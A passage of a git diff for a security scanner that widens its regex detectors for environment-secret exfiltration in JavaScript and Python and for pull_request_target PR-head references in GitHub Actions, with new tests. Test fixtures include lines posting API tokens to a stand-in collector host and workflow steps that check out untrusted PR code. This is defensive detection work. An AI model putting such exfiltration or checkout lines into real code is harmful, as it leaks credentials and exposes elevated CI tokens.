PR-head checkout under pull_request_target', + 'capability_echo.workflow_pr_head_checkout_on_target': 'GitHub Actions PR-head reference under pull_request_target', 'capability_echo.workflow_self_hosted_runner': 'GitHub Actions self-hosted runners', 'capability_echo.workflow_mutable_action_ref': 'GitHub Actions mutable action references', 'capability_echo.workflow_secrets_inherit': 'GitHub Actions inherited secrets', diff --git a/src/detectors/js-capability.ts b/src/detectors/js-capability.ts index 6b346b0..8140be8 100644 --- a/src/detectors/js-capability.ts +++ b/src/detectors/js-capability.ts @@ -45,7 +45,7 @@ function collectSecretVariables(lines: AddedLine[], newFileContents: Record>, file: string, content: string): void { const match = content.match( - /\b(?:const|let|var)\s+([A-Za-z_$][\w$]*)\s*=\s*process\.env\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b/i + /\b(?:const|let|var)\s+([A-Za-z_$][\w$]*)\s*=\s*process\.env(?:\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b|\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\])/i ); if (!match) { return; @@ -113,7 +113,7 @@ function isExternalHttpRequest(content: string): boolean { } function referencesEnvSecret(content: string): boolean { - return /\bprocess\.env\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b/i.test(content); + return /\bprocess\.env(?:\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b|\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\])/i.test(content); } function referencesSecretVariable(content: string, secretVariables: Set): boolean { diff --git a/src/detectors/py-capability.ts b/src/detectors/py-capability.ts index 2bb71eb..19cf81e 100644 --- a/src/detectors/py-capability.ts +++ b/src/detectors/py-capability.ts @@ -51,7 +51,7 @@ function collectSecretVariables(lines: AddedLine[], newFileContents: Record>, file: string, content: string): void { const match = content.match( - /^\s*([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?:os\.environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])|os\.getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i + /^\s*([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?:(?:os\.)?environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])|(?:os\.)?getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i ); if (!match) { return; @@ -124,8 +124,8 @@ function isPyExternalRequest(content: string): boolean { function referencesPyEnvSecret(content: string): boolean { return ( - /\bos\.environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i.test(content) || - /\bos\.getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]/i.test(content) + /\b(?:os\.)?environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i.test(content) || + /\b(?:os\.)?getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]/i.test(content) ); } diff --git a/src/detectors/workflow-permissions.ts b/src/detectors/workflow-permissions.ts index ff8d226..2788075 100644 --- a/src/detectors/workflow-permissions.ts +++ b/src/detectors/workflow-permissions.ts @@ -128,7 +128,7 @@ function detectPullRequestTarget(added: AddedLine): Finding[] { } function detectPullRequestHeadCheckoutOnTarget(added: AddedLine, hasPullRequestTarget: boolean): Finding[] { - if (!hasPullRequestTarget || !isPullRequestHeadCheckoutLine(added.content)) { + if (!hasPullRequestTarget || !referencesPullRequestHead(added.content)) { return []; } @@ -139,9 +139,9 @@ function detectPullRequestHeadCheckoutOnTarget(added: AddedLine, hasPullRequestT severity: 'high', file: added.file, line: added.line, - subject: 'GitHub Actions PR-head checkout under pull_request_target', - message: 'Workflow checks out pull request head code in a pull_request_target workflow.', - recommendation: 'Use pull_request for untrusted PR code, or avoid checking out PR head code under pull_request_target.' + subject: 'GitHub Actions PR-head reference under pull_request_target', + message: 'Workflow under pull_request_target references the pull request head (SHA, ref, or repo), which can let untrusted PR code run with the elevated token context.', + recommendation: 'Use pull_request for untrusted PR code, or avoid referencing PR head SHA/ref/repo under pull_request_target.' } ]; } @@ -154,8 +154,8 @@ function hasPullRequestTargetWorkflow(content: string): boolean { return content.split(/\r?\n/).some(isPullRequestTargetLine); } -function isPullRequestHeadCheckoutLine(content: string): boolean { - return /^\s*(?:ref|repository)\s*:\s*.*github\.event\.pull_request\.head\.(?:sha|ref|repo\.full_name)/i.test(content); +function referencesPullRequestHead(content: string): boolean { + return /github\.event\.pull_request\.head\.(?:sha|ref|repo\.full_name)/i.test(content); } function detectSelfHostedRunner(added: AddedLine): Finding[] { diff --git a/src/report.ts b/src/report.ts index a4e9f1e..f5b9aa8 100644 --- a/src/report.ts +++ b/src/report.ts @@ -45,7 +45,7 @@ const SUMMARY_LABELS: Record = { 'capability_echo.dockerfile_pipe_to_shell': 'Dockerfile pipe-to-shell builds', 'capability_echo.workflow_permission_write': 'GitHub Actions write permissions', 'capability_echo.workflow_pull_request_target': 'GitHub Actions pull_request_target triggers', - 'capability_echo.workflow_pr_head_checkout_on_target': 'GitHub Actions PR-head checkout under pull_request_target', + 'capability_echo.workflow_pr_head_checkout_on_target': 'GitHub Actions PR-head reference under pull_request_target', 'capability_echo.workflow_self_hosted_runner': 'GitHub Actions self-hosted runners', 'capability_echo.workflow_mutable_action_ref': 'GitHub Actions mutable action references', 'capability_echo.workflow_secrets_inherit': 'GitHub Actions inherited secrets', diff --git a/test/detectors.test.mjs b/test/detectors.test.mjs index 510963f..5b8fefc 100644 --- a/test/detectors.test.mjs +++ b/test/detectors.test.mjs @@ -34,6 +34,39 @@ test('js detector flags env secret exfiltration over external fetch', () => { assert.equal(exfilFinding.severity, 'high'); }); +test('js detector flags bracket-notation env secret access in inline exfiltration', () => { + const findings = detectJsCapability([ + { + file: 'src/api/sync.ts', + line: 8, + content: + "await fetch('https://collector.example.com/events', { headers: { Authorization: `Bearer ${process.env['API_TOKEN']}` } });" + } + ]); + + assert.ok(findings.some((finding) => finding.kind === 'capability_echo.source_secret_exfil_pattern')); +}); + +test('js detector tracks bracket-notation env secret variables across lines', () => { + const findings = detectJsCapability([ + { + file: 'src/api/sync.ts', + line: 2, + content: "const apiToken = process.env[\"API_TOKEN\"];" + }, + { + file: 'src/api/sync.ts', + line: 6, + content: + " await fetch('https://collector.example.com/events', { headers: { Authorization: `Bearer ${apiToken}` } });" + } + ]); + + const exfilFinding = findings.find((finding) => finding.kind === 'capability_echo.source_secret_exfil_pattern'); + assert.ok(exfilFinding); + assert.equal(exfilFinding.line, 6); +}); + test('js detector downgrades test file subprocess findings', () => { const findings = detectJsCapability([ { @@ -265,6 +298,35 @@ test('workflow detector does not flag PR head checkout without pull_request_targ assert.equal(findings.length, 0); }); +test('workflow detector flags custom-shell PR head checkout under pull_request_target', () => { + const findings = detectWorkflowPermissions([ + { + file: '.github/workflows/agent.yml', + line: 3, + content: ' pull_request_target:' + }, + { + file: '.github/workflows/agent.yml', + line: 18, + content: ' git clone https://github.com/${{ github.event.pull_request.head.repo.full_name }}' + }, + { + file: '.github/workflows/agent.yml', + line: 19, + content: ' git checkout ${{ github.event.pull_request.head.sha }}' + } + ]); + + const findingsForKind = findings.filter( + (finding) => finding.kind === 'capability_echo.workflow_pr_head_checkout_on_target' + ); + assert.equal(findingsForKind.length, 2); + assert.deepEqual( + findingsForKind.map((finding) => finding.line).sort((a, b) => a - b), + [18, 19] + ); +}); + test('workflow detector flags self-hosted runners', () => { const findings = detectWorkflowPermissions([ { @@ -366,9 +428,11 @@ test('report summarizes mutable workflow action refs with a human label', () => severity: 'high', file: '.github/workflows/agent.yml', line: 21, - subject: 'GitHub Actions PR-head checkout under pull_request_target', - message: 'Workflow checks out pull request head code in a pull_request_target workflow.', - recommendation: 'Use pull_request for untrusted PR code, or avoid checking out PR head code under pull_request_target.' + subject: 'GitHub Actions PR-head reference under pull_request_target', + message: + 'Workflow under pull_request_target references the pull request head (SHA, ref, or repo), which can let untrusted PR code run with the elevated token context.', + recommendation: + 'Use pull_request for untrusted PR code, or avoid referencing PR head SHA/ref/repo under pull_request_target.' }, { kind: 'capability_echo.workflow_secrets_inherit', @@ -390,7 +454,7 @@ test('report summarizes mutable workflow action refs with a human label', () => assert.deepEqual(report.capabilitySummary, [ 'source secret exfiltration patterns', 'GitHub Actions mutable action references', - 'GitHub Actions PR-head checkout under pull_request_target', + 'GitHub Actions PR-head reference under pull_request_target', 'GitHub Actions inherited secrets' ]); }); diff --git a/test/py-capability.test.mjs b/test/py-capability.test.mjs index f29bedd..00dd5d2 100644 --- a/test/py-capability.test.mjs +++ b/test/py-capability.test.mjs @@ -28,6 +28,69 @@ test('py: external request with env secret flags source secret exfiltration', () assert.equal(f.surface, 'source'); }); +test('py: from-import getenv (unqualified) still flags secret exfiltration inline', () => { + const findings = detectPyCapability([ + line( + 'agent.py', + 'requests.post("https://collector.example.com/events", headers={"Authorization": "Bearer " + getenv("API_TOKEN")})' + ) + ]); + + assert.ok(findings.find((f) => f.kind === 'capability_echo.source_secret_exfil_pattern')); +}); + +test('py: from-import getenv tracked as a secret variable across lines', () => { + const findings = detectPyCapability( + [ + line('agent.py', 'api_token = getenv("API_TOKEN")', 2), + line( + 'agent.py', + 'requests.post("https://collector.example.com/events", headers={"Authorization": "Bearer " + api_token})', + 5 + ) + ], + { + 'agent.py': [ + 'from os import getenv', + 'api_token = getenv("API_TOKEN")', + '', + 'def sync():', + ' requests.post("https://collector.example.com/events", headers={"Authorization": "Bearer " + api_token})' + ].join('\n') + } + ); + + const exfil = findings.find((finding) => finding.kind === 'capability_echo.source_secret_exfil_pattern'); + assert.ok(exfil); + assert.equal(exfil.line, 5); +}); + +test('py: unqualified environ.get tracked as a secret variable across lines', () => { + const findings = detectPyCapability( + [ + line('agent.py', 'api_token = environ.get("API_TOKEN")', 2), + line( + 'agent.py', + 'requests.post("https://collector.example.com/events", headers={"Authorization": "Bearer " + api_token})', + 5 + ) + ], + { + 'agent.py': [ + 'from os import environ', + 'api_token = environ.get("API_TOKEN")', + '', + 'def sync():', + ' requests.post("https://collector.example.com/events", headers={"Authorization": "Bearer " + api_token})' + ].join('\n') + } + ); + + const exfil = findings.find((finding) => finding.kind === 'capability_echo.source_secret_exfil_pattern'); + assert.ok(exfil); + assert.equal(exfil.line, 5); +}); + test('py: requests.get without literal URL does not over-fire', () => { const findings = detectPyCapability([ line('agent.py', 'resp = requests.get(url, headers=h)')